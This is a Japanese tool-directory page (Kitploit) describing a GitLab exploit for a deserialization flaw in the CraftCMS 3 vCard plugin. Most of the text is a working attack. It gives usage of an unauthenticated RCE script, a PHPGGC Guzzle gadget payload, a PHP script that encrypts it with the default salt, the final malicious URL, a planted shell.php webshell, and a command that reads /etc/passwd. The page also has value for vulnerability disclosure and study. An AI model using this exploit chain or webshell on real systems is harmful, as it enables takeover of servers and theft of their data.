Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
craftcms-vcard-exploit — このリポジトリには、CraftCMS 3 用の「vCard」プラグインで発見された脆弱性に関する詳細が含まれています。 | Kitploit
ツール/GitLabGitLab/wguest/craftcms-vcard-exploit
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitLabwguest/craftcms-vcard-exploit

craftcms-vcard-exploit

このリポジトリには、CraftCMS 3 用の「vCard」プラグインで発見された脆弱性に関する詳細が含まれています。

リポジトリを見る
16年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Craft CMS vCard プラグインのデシリアライゼーション脆弱性

Craft CMSには、「vCard」という名前の連絡先を*.vcfファイル形式でダウンロードするためのプラグインがあります。このプラグインはCraftのリポジトリとGithubで確認できます: Craft Plugin Store Github

説明

このプラグインはクライアントから送信されたパラメータを受け取り、openssl_decryptで値を復号化し、その結果の文字列をPHPのunserialize関数に渡します。暗号化のデフォルトソルトがリポジトリで公開されているため、攻撃者は同じロジックを使用して悪意のあるシリアライズ済みペイロードを暗号化できます。

ユーザーがプラグイン設定で変更された「salt」値を設定している場合、これをPythonスクリプトへのパラメータとして指定する必要があります。ただし、プラグインストアからダウンロードした場合やリポジトリをクローンしただけの場合は、この値は変更されません。CraftのWeb GUIから変更するオプションはありません。

スクリプトの使用方法

連絡先のダウンロードをトリガーするvCardリンクを指定してスクリプトを実行します。vcardパラメータの値を削除してください。

例: vCardダウンロードリンクの例: http://craftcms/index.php?p=actions/vcard/default/index&vcard=GxHwdD1xmDkQoWbn_nPsgVR-2VOQt6w_oDmLl9h4jAglePdkMM1NMBKHTmq9Uuu7XFM9qvNs3Mi_B0-bT2JbfsflmMDzL29w2QaP28vRBHmyDLTMcacJwuBXEDUqF-sxovuY7oN-YFZXA4jOwC0CyxjLKIjz3UWBf-1ItLRkqKSSAHBuHOMeB5drdTqw67ZCmnlLVI7FYVUNBS9q3WrMRWMhexjHbO2VymDdV3q0GOlZmES9Imgdwq9ibI6okG_QFqHHq33a8U_m4NPvjTqsdm6Wm3OjcPSVV9L2RR8ZnhN9CayfaShb5jligs5b0So2Vddo8EmCZUgKP7-BIT4dlWRGwD_F0w2PyjUZRsRx25ydy6ZklXXHMb4fkrxuKXaHGfB8Y9SUbcQYAUK2OZhZno0FKWzUABDEjjvquevUSTgJr7wNq2oU4YpBwWoQCNGX7ILAuWN8_7GFIajhosdoOilLiLTmoJPWHfdpNKRaZlYcLX9zF7fUXw_BsHJZOySZhbSL0Q7ktzs__DygIL5uuongteXKIafhUFZxPEcC1W9OHy767Lgg77hJwp7lqF1krtHbbQ1o-4hV12dPkouauQ

スクリプトへのパラメータは次のようになります: "http://craftcms/index.php?p=actions/vcard/default/index&vcard="

root@kitploit:~
$ ./exploit_vcard.py -u "http://craftcms/index.php?p=actions/vcard/default/index&vcard="
Deserialization has been triggered, navigate to craftCMS webroot/shell.php
Use GET parameter 'cmd' to execute commands
Example: http://craftcms/shell.php?cmd=ls%20-al;whoami;ip%20a

オプションのソルト値を指定できます。全オプションは次のとおりです:

root@kitploit:~
usage: exploit_vcard.py [-h] -u URL [-s SALT] [-f FNAME]
Unauthenticated RCE for CraftCMS vCard Plugin

optional arguments:
-h, --help  show this help message and exit
-u URL      The URL for the vCard download without the vCard value Example:
          http://craftcms/index.php?p=actions/vcard/default/index&vcard=
-s SALT     Security key required for encrypting payload. Defaul is
          's34s4L7'
-f FNAME    File path/name to use as value in upload path: ./<value> . Use a
          PHP extension. Default value is 'shell.php'

要件

  • Python3

PythonスクリプトはPython 3.6でテストされています

  • PHP CLI

スクリプトは攻撃者のホスト上でPHPコマンドを実行してペイロードを暗号化します。そのため、php-cliのインストールが必要です。この攻撃はPHP 7.2-cliおよびPHP 7.3-cliでテストされています

脆弱性のウォークスルー

コードが安全でない方法でunserializeを実行している箇所のスナップショットです(VCardService.php:297)Github:

root@kitploit:~
  public function decodeUrlParam($optionsString = "")
  {
    $optionsString = $this->decrypt($optionsString);
    $options = unserialize($optionsString);
    return $options;
  }

$optionsStringパラメータは、クライアントが提供する「vcard」URLパラメータの値です。これは復号化関数を経由した後、デシリアライズされます。クライアントが暗号化を再現できる場合、このコードはユーザー提供のデータを直接デシリアライズするため、脆弱になります。

問題の暗号化関数は次のとおりです(VCardService.php:306)Github:

root@kitploit:~
  protected function encrypt($string)
  {
    $key = VCard::$plugin->getSettings()->salt;
    $key = md5( $key );
    $iv = substr( md5( $key ), 0, 16);

    return rtrim(
      strtr(
        base64_encode(
          openssl_encrypt( $string, 'aes128', md5( $key ), true, $iv )
        ),
        '+/', '-_'
      ), '='
    );
  }

攻撃者が知る必要がある唯一の値は、「VCard::$plugin->getSettings()->salt」によって設定される$key変数です。デフォルト値はリポジトリで「s34s4L7」として確認できます(config.php:26)Github

デフォルトのソルトが使用されている場合、攻撃者はCraftインストール内の任意のクラスのデシリアライゼーションを強制できます。

Craftのデフォルトインストールで悪意のある目的に使用できる「ガジェット」クラスを見つける必要があります。__destructまたは__wakeupマジック関数を持つクラスを確認すると、レビューするのに十分な小さなリストが得られます。これは「grep -rni < webルートへのパス > -e '__destruct'」を使用して実行できます。

guzzlehttpには「FileCookieJar」というクラスがあり、クラス属性をファイル名としてファイルを保存するようです:

root@kitploit:~
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php:38:    public function __destruct()
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-39-    {
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-40-        $this->save($this->filename);
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-41-    }
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-42-

save関数を調査すると、システムのファイルパスにデータを書き込むことがわかります。パスとデータはどちらもクラス属性であり、攻撃者の制御下にあります。このクラスオブジェクトが破棄されるとき、保持していたクッキーをファイル名属性に書き込んで、後で復元または使用できるようにするのは理にかなっています。file_put_contentsがターゲットとなるsave関数の内容は次のとおりです(FileCookieJar.php:52)Github:

root@kitploit:~
public function save($filename)
{
    $json = [];
    foreach ($this as $cookie) {
        /** @var SetCookie $cookie */
        if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
            $json[] = $cookie->toArray();
        }
    }

    $jsonStr = \GuzzleHttp\json_encode($json);
 
    if (false === file_put_contents($filename, $jsonStr, LOCK_EX)) {
        throw new \RuntimeException("Unable to save file {$filename}");
    }
}

幸いなことに、悪意のあるペイロードを自分で構築するために手動の作業を行う必要はありません。素晴らしいツールPHPGGCは、このエクスプロイトで使用するペイロードをGuzzleクラスにシリアライズする作業を自動化してくれます。

私はこのツールを使用して、エクスプロイトスクリプト用のベースペイロードを作成しました。ファイル名によって若干変更されます。また、PHPGGCで新しいペイロードを生成する場合、「-f」パラメータを必ず使用する必要があることに注意してください。使用しないとマジック__destruct関数が実行されません:

root@kitploit:~
craft@craftcms:~/phpggc$ ./phpggc Guzzle/FW1 "./shell.php" ./sample.txt -f
a:2:{i:7;O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:41:"GuzzleHttp\Cookie\FileCookieJarfilename";s:11:"./shell.php";s:52:"GuzzleHttp\Cookie\FileCookieJarstoreSessionCookies";b:1;s:36:"GuzzleHttp\Cookie\CookieJarcookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:33:"GuzzleHttp\Cookie\SetCookiedata";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:67:"<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']);    } ?>
";}}}s:39:"GuzzleHttp\Cookie\CookieJarstrictMode";N;}i:7;i:7;}

sample.txtの内容は次のとおりです: <pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>

シリアライズされたクラスには属性を正しくマッピングするために必要なヌルバイトが含まれているため、通常のコピー&ペーストはここでは機能しないことに注意してください。ツールからの生の出力を16進数に変換し、暗号化プロセスを模倣しながら文字列に戻す必要がありました。16進数のペイロードを取得するために使用したbashは次のとおりです。

root@kitploit:~
craft@craftcms:~/phpggc$ ./phpggc Guzzle/FW1 "./shell.php" ./sample.txt -f | xxd | cut -d " " -f 2-9 | tr -d " \n"
613a323a7b693a373b4f3a33313a2247757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a6172223a343a7b733a34313a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720066696c656e616d65223b733a31313a222e2f7368656c6c2e706870223b733a35323a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720073746f726553657373696f6e436f6f6b696573223b623a313b733a33363a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a617200636f6f6b696573223b613a313a7b693a303b4f3a32373a2247757a7a6c65487474705c436f6f6b69655c536574436f6f6b6965223a313a7b733a33333a220047757a7a6c65487474705c436f6f6b69655c536574436f6f6b69650064617461223b613a333a7b733a373a2245787069726573223b693a313b733a373a2244697363617264223b623a303b733a353a2256616c7565223b733a36373a223c7072653e3c3f70687020696628697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d64275d293b202020207d203f3e0a223b7d7d7d733a33393a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a6172007374726963744d6f6465223b4e3b7d693a373b693a373b7d0a

生成されたペイロードの末尾に「0A」バイトが存在する場合があります。その場合は削除してください。いずれにしても、PHPGGCからペイロードを取得して16進数に変換したので、脆弱なプラグイン関数に送信する前に暗号化する必要があります。前述のvCard暗号化関数のロジックをコピーすることで、16進数のペイロードを変換して暗号化するだけです。使用したPHPスクリプトは次のとおりです:

root@kitploit:~
<?php
$string = hex2bin("613a323a7b693a373b4f3a33313a2247757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a6172223a343a7b733a34313a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720066696c656e616d65223b733a31313a222e2f7368656c6c2e706870223b733a35323a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720073746f726553657373696f6e436f6f6b696573223b623a313b733a33363a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a617200636f6f6b696573223b613a313a7b693a303b4f3a32373a2247757a7a6c65487474705c436f6f6b69655c536574436f6f6b6965223a313a7b733a33333a220047757a7a6c65487474705c436f6f6b69655c536574436f6f6b69650064617461223b613a333a7b733a373a2245787069726573223b693a313b733a373a2244697363617264223b623a303b733a353a2256616c7565223b733a36373a223c7072653e3c3f70687020696628697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d64275d293b202020207d203f3e0a223b7d7d7d733a33393a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a6172007374726963744d6f6465223b4e3b7d693a373b693a373b7d");

$key = "s34s4L7";
$key = md5( $key );
$iv = substr( md5( $key ), 0, 16);

$string2 = rtrim(
      strtr(
        base64_encode(
          openssl_encrypt( $string, 'aes128', md5( $key ), true, $iv )
        ),
        '+/', '-_'
      ), '='
    );
echo  "Encrypted parameter:\n" . $string2 . "\n\n";

?>

そして、その結果の出力:

root@kitploit:~
craft@craftcms:/var/www/vendor/nfourtythree/vcard/src/services$ php encrypt.php 
Encrypted parameter:
cNSH6Xu6XhGYYF8RHWjebL5TCVv32vqkNqZoh2Vt-eUgQ_dEw89U4X3av54G7mCWXiXxvzT9uGbXZzRmjKYDdPbeXSUBoNgPDsqqD0Ujj1tUuixk_fkswxCswFhL0dB6gddLdNPdgZcHEIHWOtlseKfcD8I8yWrr6i3OCEXt2gyXGZQwm_J9oSXE0I6piFT73vLrhwo06DLhO9gDxIqpZGzI9KTQv3p5oc7FypzF-f3lE_i8k8PUJDO22WEObPH71LYfhrq2FnSv3sgcfrKTmHmmiZFcV4hBY7l1Lrluyxg7FDVR4KSbUZYSKo6O7JnexhghdcJ6z1oqZJ7qVgarPo1zIfT0dIUs5CfVXjzpNcuz3WYVY5ekzjZs79aN-lGMrh2o-ZWpVFnGcunRcZOBNn-BzO88pAl9z4yL_tz_BFyH1WKfKHhgTMlpC73exQNHBiJevfne4EOV6A_rUzIRgzceoIssYpEQQxj2GY9hXzY8GEtn4O0x0BAA4GUe59PxNVh5oLQSC1h0vCJ5Bsmr33HAetLk9dZO0_6Mt4gaZikbjXLTE5obC0gnv7qdVZB80bQaKgpzzXjQOBRcXxGr5GUzmrwqU6gBSfcq_4GpCot7asDo7Sj2t7esUGDniV25Of_bzdz1Dqldc87cKYd42LxPx01oqpCTn0vtNL-loPY

ついに完了しました! これでペイロードが完成したので、リクエストで送信するだけでシェルが利用可能になります。有効なvCardダウンロードへのリンクは環境によって異なります。私のテスト環境からのサンプルは次のとおりです:

http://craftcms/index.php?p=actions/vcard/default/index&vcard=

vcardパラメータの値が削除され、悪意のある値に置き換えられます:

http://craftcms/index.php?p=actions/vcard/default/index&vcard=cNSH6Xu6XhGYYF8RHWjebL5TCVv32vqkNqZoh2Vt-eUgQ_dEw89U4X3av54G7mCWXiXxvzT9uGbXZzRmjKYDdPbeXSUBoNgPDsqqD0Ujj1tUuixk_fkswxCswFhL0dB6gddLdNPdgZcHEIHWOtlseKfcD8I8yWrr6i3OCEXt2gyXGZQwm_J9oSXE0I6piFT73vLrhwo06DLhO9gDxIqpZGzI9KTQv3p5oc7FypzF-f3lE_i8k8PUJDO22WEObPH71LYfhrq2FnSv3sgcfrKTmHmmiZFcV4hBY7l1Lrluyxg7FDVR4KSbUZYSKo6O7JnexhghdcJ6z1oqZJ7qVgarPo1zIfT0dIUs5CfVXjzpNcuz3WYVY5ekzjZs79aN-lGMrh2o-ZWpVFnGcunRcZOBNn-BzO88pAl9z4yL_tz_BFyH1WKfKHhgTMlpC73exQNHBiJevfne4EOV6A_rUzIRgzceoIssYpEQQxj2GY9hXzY8GEtn4O0x0BAA4GUe59PxNVh5oLQSC1h0vCJ5Bsmr33HAetLk9dZO0_6Mt4gaZikbjXLTE5obC0gnv7qdVZB80bQaKgpzzXjQOBRcXxGr5GUzmrwqU6gBSfcq_4GpCot7asDo7Sj2t7esUGDniV25Of_bzdz1Dqldc87cKYd42LxPx01oqpCTn0vtNL-loPY

この文字列は$optionsStringとして渡され、復号化された後、unserializeされることで内部サーバーエラーが発生します。テストWebサーバーのファイルシステムを確認すると、新しいshell.phpファイルが作成されていることがわかります:

root@kitploit:~
craft@craftcms:/var/www/html$ ls
cpresources  index.php  shell.php  web.config

craft@craftcms:/var/www/html$ cat shell.php 
[{"Expires":1,"Discard":false,"Value":"<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']);    } ?>\n"}]
craft@craftcms:/var/www/html$

ブラウザでhttp://craftcms/shell.phpにアクセスすると、cmd GETパラメータを通じてシステムコマンドを渡せるようになりました。

例:http://craftcms/shell.php?cmd=cat%20/etc/passwd

root@kitploit:~
[{"Expires":1,"Discard":false,"Value":"<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...

リファレンス

PHPガジェット生成: https://github.com/ambionics/phpggc

vCardプラグイン: https://github.com/nfourtythree/craft3-vcard

Craft CMS: https://craftcms.com/

unserializeドキュメント: https://www.php.net/manual/en/function.unserialize.php

ツールをダウンロード